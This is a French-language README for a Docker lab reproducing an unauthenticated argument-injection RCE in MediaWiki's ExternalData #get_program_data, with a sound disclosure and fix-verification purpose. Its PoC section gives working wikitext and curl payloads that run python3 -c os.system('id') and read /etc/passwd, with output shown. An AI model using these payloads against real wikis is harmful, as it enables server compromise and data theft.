Docker lab reproduisant CVE-2026-100382 : RCE par injection d'arguments non authentifiée dans #get_program_data de MediaWiki ExternalData, avec charges utiles PoC et vérification du correctif.
1.43 (image officielle, SQLite) + ExternalData 3.6.1 (dernière version vulnérable),
monté en lecture seule depuis ../mediawiki-extensions-ExternalData.127.0.0.1:${HOST_PORT} (8080 par défaut).action=parse sont activés (valeurs par défaut de MediaWiki) - le PoC ne nécessite aucune connexion.cd lab
./up.sh # installe, charge ExternalData 3.6.1, initialise les sources vulnérables, affiche l'URL
./down.sh # docker compose down -v + efface .env
entrypoint.sh initialise une source exec qui reflète l'objectif documenté de
#get_program_data - exposer un programme côté serveur aux éditeurs, en transmettant un paramètre
utilisateur dans la ligne de commande - sans entrée restrictive param filters
(l'extension n'en exige pas) :
$wgExternalDataSources['chart'] = [
'command' => 'python3 $options$ /srv/chart.py', // paramètre utilisateur interpolé
'params' => [ 'options' ],
'format' => 'text',
];
Utilisation prévue : {{#get_program_data: program=chart | options=--dpi=120 }}
-> exécute python3 --dpi=120 /srv/chart.py.
EDConnectorBase::supplementParams() interpole les paramètres utilisateur dans le modèle
command global du wiki via strtr (EDConnectorBase.php:461-470,560).EDConnectorExe::__construct() effectue ensuite explode(' ', $command)
(EDConnectorExe.php:92) - la valeur utilisateur interpolée est découpée sur les espaces en
tokens argv distincts sans ré-échappement.run() exécute Shell::command($command)->execute() (EDConnectorExe.php:139).
Shell::command() échappe chaque token pour le shell, donc les métacaractères shell (;, |)
sont inertes - il s'agit d'une injection d'arguments (CWE-88 / CWE-78), et non d'une injection
shell naïve. Contrôler des argv supplémentaires du programme cible (ici python3 -c)
permet une exécution de code complète.command directement - la source wildcard *
intégrée force command => null, ce qui supprime un command fourni par l'utilisateur. Le
vecteur est donc l'interpolation de paramètres dans une commande définie par l'administrateur.$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id
$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c
$ curl -sS http://127.0.0.1:8080/api.php \
--data-urlencode action=parse --data-urlencode format=json \
--data-urlencode contentmodel=wikitext \
--data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
En remplaçant l'extension montée par le tag 3.7 et en réexécutant le MÊME payload :
The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.
La version 3.7 désactive EDConnectorExe par défaut ($wgExternalDataDisabledClasses, Bug T434961).
Réserve : le code du sink est inchangé - un wiki qui retire EDConnectorExe de cette liste
pour continuer à utiliser #get_program_data reste pleinement exploitable.